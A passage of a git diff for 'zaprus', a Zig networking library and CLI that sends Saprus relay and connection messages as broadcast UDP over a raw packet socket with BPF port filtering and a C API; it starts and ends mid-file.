on one another, this will + // make the two of them run in parallel. + const test_step = b.step("test", "Run tests"); + test_step.dependOn(&run_mod_tests.step); + test_step.dependOn(&run_exe_tests.step); - // Similar to creating the run step earlier, this exposes a `test` step to - // the `zig build --help` menu, providing a way for the user to request - // running the unit tests. - const test_step = b.step("test", "Run unit tests"); - test_step.dependOn(&run_exe_unit_tests.step); + // Just like flags, top level steps are also listed in the `--help` menu. + // + // The Zig build system is entirely implemented in userland, which means + // that it cannot hook into private compiler APIs. All compilation work + // orchestrated by the build system will result in other Zig compiler + // subcommands being invoked with the right flags defined. You can observe + // these invocations when one fails (or you pass a flag to increase + // verbosity) to validate assumptions and diagnose problems. + // + // Lastly, the Zig build system is relatively simple and self-contained, + // and reading its source code will allow you to master it. } diff --git a/build.zig.zon b/build.zig.zon index da40722..e250888 100644 --- a/build.zig.zon +++ b/build.zig.zon @@ -10,7 +10,7 @@ // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. - .version = "0.0.0", + .version = "0.2.1", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the @@ -28,19 +28,14 @@ // Tracks the earliest Zig version that the package considers to be a // supported use case. - .minimum_zig_version = "0.14.0", + .minimum_zig_version = "0.16.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. - .dependencies = .{ - .network = .{ - .url = "https://github.com/ikskuh/zig-network/archive/c76240d2240711a3dcbf1c0fb461d5d1f18be79a.zip", - .hash = "network-0.1.0-AAAAAOwlAQAQ6zKPUrsibdpGisxld9ftUKGdMvcCSpaj", - }, - }, + .dependencies = .{}, .paths = .{ "build.zig", "build.zig.zon", diff --git a/include/zaprus.h b/include/zaprus.h new file mode 100644 index 0000000..6638117 --- /dev/null +++ b/include/zaprus.h @@ -0,0 +1,43 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with Zaprus. If not, see <https://www.gnu.org/licenses/>. + +#ifndef ZAPRUS_H +#define ZAPRUS_H + +#include <stdint.h> +#include <stdlib.h> + +typedef void* zaprus_client; +typedef void* zaprus_connection; + +// Returns NULL if there was an error. +zaprus_client zaprus_init_client(void); + +void zaprus_deinit_client(zaprus_client client); + +// Returns 0 on success, else returns 1. +int zaprus_client_send_relay(zaprus_client client, const char* payload, size_t payload_len, const char dest[4]); + +// Returns NULL if there was an error. +// Caller should call zaprus_deinit_connection when done with the connection. +zaprus_connection zaprus_connect(zaprus_client client, const char* payload, size_t payload_len); + +void zaprus_deinit_connection(zaprus_connection connection); + +// Capacity is the maximum length of the output buffer. +// out_len is modified to specify how much of the capacity is used by the response. +// Blocks until the next message is available, or returns 1 if the underlying socket times out. +// Returns 0 on success, else returns 1. +int zaprus_connection_next(zaprus_connection connection, char *out, size_t capacity, size_t *out_len); + +// Returns 0 on success, else returns 1. +int zaprus_connection_send(zaprus_connection connection, const char *payload, size_t payload_len); + +#endif // ZAPRUS_H diff --git a/src/Client.zig b/src/Client.zig new file mode 100644 index 0000000..2344f83 --- /dev/null +++ b/src/Client.zig @@ -0,0 +1,182 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +//! A client is used to handle interactions with the network. + +const base64_enc = std.base64.standard.Encoder; +const base64_dec = std.base64.standard.Decoder; + +const Client = @This(); + +const max_message_size = 2048; + +pub const max_payload_len = RawSocket.max_payload_len; + +socket: RawSocket, + +pub fn init() !Client { + const socket: RawSocket = try .init(); + return .{ + .socket = socket, + }; +} + +pub fn deinit(self: *Client) void { + self.socket.deinit(); + self.* = undefined; +} + +/// Sends a fire and forget message over the network. +/// This function asserts that `payload` fits within a single packet. +pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { + const io_source: std.Random.IoSource = .{ .io = io }; + const rand = io_source.interface(); + + var headers: EthIpUdp = .{ + .src_mac = self.socket.mac, + .ip = .{ + .id = rand.int(u16), + .src_addr = 0, //rand.int(u32), + .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }), + .len = undefined, + }, + .udp = .{ + .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dst_port = 8888, + .len = undefined, + }, + }; + + const relay: SaprusMessage = .{ + .relay = .{ + .dest = .fromBytes(&dest), + .payload = payload, + }, + }; + + var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined; + const relay_bytes = relay.toBytes(&relay_buf); + headers.setPayloadLen(relay_bytes.len); + + var msg_buf: [max_message_size]u8 = undefined; + var msg_w: Writer = .fixed(&msg_buf); + msg_w.writeAll(&headers.toBytes()) catch unreachable; + msg_w.writeAll(relay_bytes) catch unreachable; + const full_msg = msg_w.buffered(); + + try self.socket.send(full_msg); +} + +/// Attempts to establish a new connection with the sentinel. +pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection { + const io_source: std.Random.IoSource = .{ .io = io }; + const rand = io_source.interface(); + + var headers: EthIpUdp = .{ + .src_mac = self.socket.mac, + .ip = .{ + .id = rand.int(u16), + .src_addr = 0, //rand.int(u32), + .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }), + .len = undefined, + }, + .udp = .{ + .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dst_port = 8888, + .len = undefined, + }, + }; + + // udp dest port should not be 8888 after first + const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); + var connection: SaprusMessage = .{ + .connection = .{ + .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise + .seq = undefined, + .id = undefined, + .payload = payload, + }, + }; + + log.debug("Setting bpf filter to port {}", .{connection.connection.src}); + self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| { + log.err("Failed to set port filter: {t}", .{err}); + return err; + }; + log.debug("bpf set", .{}); + + var connection_buf: [2048]u8 = undefined; + var connection_bytes = connection.toBytes(&connection_buf); + headers.setPayloadLen(connection_bytes.len); + + log.debug("Building full message", .{}); + var msg_buf: [2048]u8 = undefined; + var msg_w: Writer = .fixed(&msg_buf); + msg_w.writeAll(&headers.toBytes()) catch unreachable; + msg_w.writeAll(connection_bytes) catch unreachable; + var full_msg = msg_w.buffered(); + log.debug("Built full message. Sending message", .{}); + + try self.socket.send(full_msg); + var res_buf: [4096]u8 = undefined; + + log.debug("Awaiting handshake response", .{}); + // Ignore response from sentinel, just accept that we got one. + const full_handshake_res = try self.socket.receive(&res_buf); + const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| { + log.err("Parse error: {t}", .{err}); + return err; + }; + self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| { + log.err("Failed to set port filter: {t}", .{err}); + return err; + }; + connection.connection.dest = handshake_res.connection.src; + connection_bytes = connection.toBytes(&connection_buf); + + headers.udp.dst_port = udp_dest_port; + headers.ip.id = rand.int(u16); + headers.setPayloadLen(connection_bytes.len); + + log.debug("Building final handshake message", .{}); + + msg_w.end = 0; + + msg_w.writeAll(&headers.toBytes()) catch unreachable; + msg_w.writeAll(connection_bytes) catch unreachable; + full_msg = msg_w.buffered(); + + try self.socket.send(full_msg); + + return .{ + .socket = self.socket, + .headers = headers, + .connection = connection, + }; +} + +const RawSocket = @import("./RawSocket.zig"); + +const SaprusMessage = @import("message.zig").Message; +const saprusParse = SaprusMessage.parse; +const SaprusConnection = @import("Connection.zig"); +const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; + +const std = @import("std"); +const Io = std.Io; +const Writer = std.Io.Writer; +const log = std.log; diff --git a/src/Connection.zig b/src/Connection.zig new file mode 100644 index 0000000..19be710 --- /dev/null +++ b/src/Connection.zig @@ -0,0 +1,105 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +socket: RawSocket, +headers: EthIpUdp, +connection: SaprusMessage, + +const Connection = @This(); + +// 'p' as base64 +const pong = "cA=="; + +/// Attempts to read from the network, and returns the next message, if any. +/// +/// Asserts that `buf` is large enough to store the message that is received. +/// +/// This will internally process management messages, and return the message +/// payload for the next non management connection message. +/// This function is ignorant to the message encoding. +pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { + while (true) { + log.debug("Awaiting connection message", .{}); + const res = try self.socket.receive(buf); + log.debug("Received {} byte connection message", .{res.len}); + const msg = SaprusMessage.parse(res[42..]) catch |err| { + log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] }); + return err; + }; + + switch (msg) { + .connection => |con_res| { + if (try con_res.management()) |mgt| { + log.debug("Received management message {t}", .{mgt}); + switch (mgt) { + .ping => { + log.debug("Sending pong", .{}); + try self.send(io, .{ .management = true }, pong); + log.debug("Sent pong message", .{}); + }, + else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}), + } + } else { + log.debug("Payload was {s}", .{con_res.payload}); + return con_res.payload; + } + }, + else => |m| { + std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)}); + }, + } + } +} + +/// Attempts to write a message to the network. +/// +/// Clients should pass `.{}` for options unless you know what you are doing. +/// `buf` will be sent over the network as-is; this function is ignorant of encoding. +pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { + const io_source: std.Random.IoSource = .{ .io = io }; + const rand = io_source.interface(); + + log.debug("Sending connection message", .{}); + + self.connection.connection.options = options; + self.connection.connection.payload = buf; + var connection_bytes_buf: [2048]u8 = undefined; + const connection_bytes = self.connection.toBytes(&connection_bytes_buf); + + self.headers.ip.id = rand.int(u16); + self.headers.setPayloadLen(connection_bytes.len); + + var msg_buf: [2048]u8 = undefined; + var msg_w: Writer = .fixed(&msg_buf); + try msg_w.writeAll(&self.headers.toBytes()); + try msg_w.writeAll(connection_bytes); + const full_msg = msg_w.buffered(); + + try self.socket.send(full_msg); + + log.debug("Sent {} byte connection message", .{full_msg.len}); +} + +const std = @import("std"); +const Io = std.Io; +const Writer = std.Io.Writer; + +const log = std.log; + +const SaprusMessage = @import("./message.zig").Message; + +const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; +const RawSocket = @import("./RawSocket.zig"); diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig new file mode 100644 index 0000000..251ed64 --- /dev/null +++ b/src/EthIpUdp.zig @@ -0,0 +1,109 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336 + // --- UDP (Last in memory, defined first for LSB->MSB) --- + udp: packed struct { + checksum: u16 = 0, + len: u16, + dst_port: u16, + src_port: u16, + }, + + // --- IP --- + ip: packed struct { + dst_addr: u32, + src_addr: u32, + header_checksum: u16 = 0, + protocol: u8 = 17, // udp + ttl: u8 = 0x40, + + // fragment_offset (13 bits) + flags (3 bits) = 16 bits + // In Big Endian, flags are the high bits of the first byte. + // To have flags appear first in the stream, define them last here. + fragment_offset: u13 = 0, + flags: packed struct(u3) { + reserved: u1 = 0, + dont_fragment: u1 = 1, + more_fragments: u1 = 0, + } = .{}, + + id: u16, + len: u16, + tos: u8 = undefined, + + // ip_version (4 bits) + ihl (4 bits) = 8 bits + // To have version appear first (high nibble), define it last. + ihl: u4 = 5, + ip_version: u4 = 4, + }, + + // --- Ethernet --- + eth_type: u16 = std.os.linux.ETH.P.IP, + src_mac: @Vector(6, u8), + dst_mac: @Vector(6, u8) = @splat(0xff), + + pub fn toBytes(self: @This()) [336 / 8]u8 { + var res: [336 / 8]u8 = undefined; + var w: Writer = .fixed(&res); + w.writeStruct(self, .big) catch unreachable; + return res; + } + + pub fn setPayloadLen(self: *@This(), len: usize) void { + self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8)); + + // Zero the checksum field before calculation + self.ip.header_checksum = 0; + + // Serialize IP header to big-endian bytes + var ip_bytes: [@bitSizeOf(@TypeOf(self.ip)) / 8]u8 = undefined; + var w: Writer = .fixed(&ip_bytes); + w.writeStruct(self.ip, .big) catch unreachable; + + // Calculate checksum over serialized bytes + self.ip.header_checksum = onesComplement16(&ip_bytes); + + self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8)); + } +}; + +fn onesComplement16(data: []const u8) u16 { + var sum: u32 = 0; + + // Process pairs of bytes as 16-bit words + var i: usize = 0; + while (i + 1 < data.len) : (i += 2) { + const word: u16 = (@as(u16, data[i]) << 8) | data[i + 1]; + sum += word; + } + + // Handle odd byte if present + if (data.len % 2 == 1) { + sum += @as(u32, data[data.len - 1]) << 8; + } + + // Fold 32-bit sum to 16 bits + while (sum >> 16 != 0) { + sum = (sum & 0xFFFF) + (sum >> 16); + } + + // Return ones' complement + return ~@as(u16, @truncate(sum)); +} + +const std = @import("std"); +const Writer = std.Io.Writer; diff --git a/src/RawSocket.zig b/src/RawSocket.zig new file mode 100644 index 0000000..9561dcf --- /dev/null +++ b/src/RawSocket.zig @@ -0,0 +1,203 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +const RawSocket = @This(); + +const is_debug = builtin.mode == .Debug; + +fd: i32, +sockaddr_ll: std.posix.sockaddr.ll, +mac: [6]u8, + +pub const max_payload_len = 1000; + +const Ifconf = extern struct { + ifc_len: i32, + ifc_ifcu: extern union { + ifcu_buf: ?[*]u8, + ifcu_req: ?[*]std.os.linux.ifreq, + }, +}; + +pub fn init() error{ + SocketError, + NicError, + NoInterfaceFound, + BindError, +}!RawSocket { + const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError; + if (socket < 0) return error.SocketError; + + var ifreq_storage: [16]std.os.linux.ifreq = undefined; + var ifc = Ifconf{ + .ifc_len = @sizeOf(@TypeOf(ifreq_storage)), + .ifc_ifcu = .{ .ifcu_req = &ifreq_storage }, + }; + + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) { + return error.NicError; + } + + const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq)); + + // Get the first non loopback interface + var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| { + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) { + if (ifr.ifru.flags.LOOPBACK) continue; + break ifr; + } + } else return error.NoInterfaceFound; + + // 2. Get Interface Index + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) { + return error.NicError; + } + const ifindex: i32 = ifr.ifru.ivalue; + + // 3. Get Real MAC Address + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) { + return error.NicError; + } + var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*; + if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac); + + // 4. Set Flags (Promiscuous/Broadcast) + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) { + return error.NicError; + } + ifr.ifru.flags.BROADCAST = true; + ifr.ifru.flags.PROMISC = true; + if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) { + return error.NicError; + } + + const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{ + .family = std.posix.AF.PACKET, + .ifindex = ifindex, + .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)), + }); + + const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); + if (bind_ret != 0) return error.BindError; + + return .{ + .fd = socket, + .sockaddr_ll = sockaddr_ll, + .mac = mac, + }; +} + +pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void { + const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec }; + const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); + if (timeout_ret != 0) return error.SetTimeoutError; +} + +pub fn deinit(self: *RawSocket) void { + _ = std.os.linux.close(self.fd); + self.* = undefined; +} + +pub fn send(self: RawSocket, payload: []const u8) !void { + const sent_bytes = std.os.linux.sendto( + self.fd, + payload.ptr, + payload.len, + 0, + @ptrCast(&self.sockaddr_ll), + @sizeOf(@TypeOf(self.sockaddr_ll)), + ); + _ = sent_bytes; +} + +pub fn receive(self: RawSocket, buf: []u8) ![]u8 { + const len = std.os.linux.recvfrom( + self.fd, + buf.ptr, + buf.len, + 0, + null, + null, + ); + if (std.os.linux.errno(len) != .SUCCESS) { + return error.Timeout; // TODO: get the real error, assume timeout for now. + } + return buf[0..len]; +} + +pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void { + const BPF = std.os.linux.BPF; + // BPF instruction structure for classic BPF + const SockFilter = extern struct { + code: u16, + jt: u8, + jf: u8, + k: u32, + }; + + const SockFprog = extern struct { + len: u16, + filter: [*]const SockFilter, + }; + + // Build the filter program + const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{ + // Load 2 bytes at offset 46 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, + // Jump if equal to port (skip 1 if true, skip 0 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, + // Jump if equal to port (skip 0 if true, skip 1 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, + // Return 0xffff (pass) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + } else &[_]SockFilter{ + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, + // Jump if equal to port (skip 0 if true, skip 1 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, + // Return 0xffff (pass) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + }; + + const fprog = SockFprog{ + .len = @intCast(filter.len), + .filter = filter.ptr, + }; + + // Attach filter to socket using setsockopt + const rc = std.os.linux.setsockopt( + self.fd, + std.os.linux.SOL.SOCKET, + std.os.linux.SO.ATTACH_FILTER, + @ptrCast(&fprog), + @sizeOf(SockFprog), + ); + + if (rc != 0) { + return error.BpfAttachFailed; + } +} + +const std = @import("std"); +const builtin = @import("builtin"); diff --git a/src/c_api.zig b/src/c_api.zig new file mode 100644 index 0000000..c2f3190 --- /dev/null +++ b/src/c_api.zig @@ -0,0 +1,104 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +const std = @import("std"); +const zaprus = @import("zaprus"); + +// Opaque types for C API +const ZaprusClient = opaque {}; +const ZaprusConnection = opaque {}; + +const alloc = std.heap.c_allocator; +const io = std.Io.Threaded.global_single_threaded.io(); + +export fn zaprus_init_client() ?*ZaprusClient { + const client = alloc.create(zaprus.Client) catch return null; + client.* = zaprus.Client.init() catch { + alloc.destroy(client); + return null; + }; + return @ptrCast(client); +} + +export fn zaprus_deinit_client(client: ?*ZaprusClient) void { + const c: ?*zaprus.Client = @ptrCast(@alignCast(client)); + if (c) |zc| { + zc.deinit(); + alloc.destroy(zc); + } +} + +export fn zaprus_client_send_relay( + client: ?*ZaprusClient, + payload: [*c]const u8, + payload_len: usize, + dest: [*c]const u8, +) c_int { + const c: ?*zaprus.Client = @ptrCast(@alignCast(client)); + const zc = c orelse return 1; + + zc.sendRelay(io, payload[0..payload_len], dest[0..4].*) catch return 1; + return 0; +} + +export fn zaprus_connect( + client: ?*ZaprusClient, + payload: [*c]const u8, + payload_len: usize, +) ?*ZaprusConnection { + const c: ?*zaprus.Client = @ptrCast(@alignCast(client)); + const zc = c orelse return null; + + const connection = alloc.create(zaprus.Connection) catch return null; + connection.* = zc.connect(io, payload[0..payload_len]) catch { + alloc.destroy(connection); + return null; + }; + return @ptrCast(connection); +} + +export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void { + const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); + if (c) |zc| { + alloc.destroy(zc); + } +} + +export fn zaprus_connection_next( + connection: ?*ZaprusConnection, + out: [*c]u8, + capacity: usize, + out_len: *usize, +) c_int { + const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); + const zc = c orelse return 1; + + const result = zc.next(io, out[0..capacity]) catch return 1; + out_len.* = result.len; + return 0; +} + +export fn zaprus_connection_send( + connection: ?*ZaprusConnection, + payload: [*c]const u8, + payload_len: usize, +) c_int { + const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); + const zc = c orelse return 1; + + zc.send(io, .{}, payload[0..payload_len]) catch return 1; + return 0; +} diff --git a/src/main.zig b/src/main.zig index 9a0b8a4..c5e7b0a 100644 --- a/src/main.zig +++ b/src/main.zig @@ -1,236 +1,306 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + const is_debug = builtin.mode == .Debug; -const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '='); -const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '='); - -/// Type tag for SaprusMessage union. -/// This is the first value in the actual packet sent over the network. -const SaprusPacketType = enum(u16) { - relay = 0x003C, - file_transfer = 0x8888, - connection = 0x00E9, - _, -}; - -/// Reserved option values. -/// Currently unused. -const SaprusConnectionOptions = packed struct(u8) { - opt1: bool = false, - opt2: bool = false, - opt3: bool = false, - opt4: bool = false, - opt5: bool = false, - opt6: bool = false, - opt7: bool = false, - opt8: bool = false, -}; - -const SaprusError = error{ - NotImplementedSaprusType, - UnknownSaprusType, -}; - -/// All Saprus messages -const SaprusMessage = union(SaprusPacketType) { - const Relay = struct { - const Header = packed struct { - dest: @Vector(4, u8), - }; - header: Header, - payload: []const u8, - }; - const Connection = struct { - const Header = packed struct { - src_port: u16, - dest_port: u16, - seq_num: u32 = 0, - msg_id: u32 = 0, - reserved: u8 = 0, - options: SaprusConnectionOptions = .{}, - }; - header: Header, - payload: []const u8, - }; - relay: Relay, - file_transfer: void, // unimplemented - connection: Connection, - - /// Should be called for any SaprusMessage that was declared using a function that you pass an allocator to. - fn deinit(self: SaprusMessage, allocator: Allocator) void { - switch (self) { - .relay => |r| allocator.free(r.payload), - .connection => |c| allocator.free(c.payload), - else => unreachable, + +const help = + \\-h, --help Display this help and exit. + \\-r, --relay <str> A relay message to send. + \\-d, --dest <str> An IPv4 or <= 4 ASCII byte string. + \\-c, --connect <str> A connection message to send. + \\ +; + +const Option = enum { help, relay, dest, connect }; +const to_option: StaticStringMap(Option) = .initComptime(.{ + .{ "-h", .help }, + .{ "--help", .help }, + .{ "-r", .relay }, + .{ "--relay", .relay }, + .{ "-d", .dest }, + .{ "--dest", .dest }, + .{ "-c", .connect }, + .{ "--connect", .connect }, +}); + +pub fn main(init: std.process.Init) !void { + // CLI parsing adapted from the example here + // https://codeberg.org/ziglang/zig/pulls/30644 + + const args = try init.minimal.args.toSlice(init.arena.allocator()); + + var flags: struct { + relay: ?[]const u8 = null, + dest: ?[]const u8 = null, + connect: ?[]const u8 = null, + } = .{}; + + if (args.len == 1) { + flags.connect = ""; + } else { + var i: usize = 1; + while (i < args.len) : (i += 1) { + if (to_option.get(args[i])) |opt| { + switch (opt) { + .help => { + std.debug.print("{s}", .{help}); + return; + }, + .relay => { + i += 1; + if (i < args.len) { + flags.relay = args[i]; + } else { + flags.relay = ""; + } + }, + .dest => { + i += 1; + if (i < args.len) { + flags.dest = args[i]; + } else { + std.debug.print("-d/--dest requires a string\n", .{}); + return error.InvalidArguments; + } + }, + .connect => { + i += 1; + if (i < args.len) { + flags.connect = args[i]; + } else { + flags.connect = ""; + } + }, + } + } else { + std.debug.print("Unknown argument: {s}\n", .{args[i]}); + return error.InvalidArguments; + } } } - inline fn toBytesAux( - Header: type, - header: Header, - payload: []const u8, - w: std.ArrayList(u8).Writer, - allocator: Allocator, - ) !void { - // Create a growable string to store the base64 bytes in. - // Doing this first so I can use the length of the encoded bytes for the length field. - var payload_list = std.ArrayList(u8).init(allocator); - defer payload_list.deinit(); - const buf_w = payload_list.writer(); - - // Write the payload bytes as base64 to the growable string. - try base64Enc.encodeWriter(buf_w, payload); - - // Write the packet body to the output writer. - try w.writeStructEndian(header, .big); - try w.writeInt(u16, @intCast(payload_list.items.len), .big); - try w.writeAll(payload_list.items); + if (flags.connect != null and (flags.relay != null or flags.dest != null)) { + std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{}); + return error.InvalidArguments; } - /// Caller is responsible for freeing the returned bytes. - fn toBytes(self: SaprusMessage, allocator: Allocator) ![]u8 { - // Create a growable list of bytes to store the output in. - var buf = std.ArrayList(u8).init(allocator); - // Create a writer for an easy interface to append arbitrary bytes. - const w = buf.writer(); - - // Start with writing the message type, which is the first 16 bits of every Saprus message. - try w.writeInt(u16, @intFromEnum(self), .big); - - // Write the proper header and payload for the given packet type. - switch (self) { - .relay => |r| try toBytesAux(Relay.Header, r.header, r.payload, w, allocator), - .connection => |c| try toBytesAux(Connection.Header, c.header, c.payload, w, allocator), - .file_transfer => return SaprusError.NotImplementedSaprusType, + var client: SaprusClient = undefined; + + if (flags.relay != null) { + client = try .init(); + defer client.deinit(); + var chunk_writer_buf: [2048]u8 = undefined; + var chunk_writer: Writer = .fixed(&chunk_writer_buf); + if (flags.relay.?.len > 0) { + var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len); + while (output_iter.next()) |chunk| { + chunk_writer.end = 0; + try chunk_writer.print("{b64}", 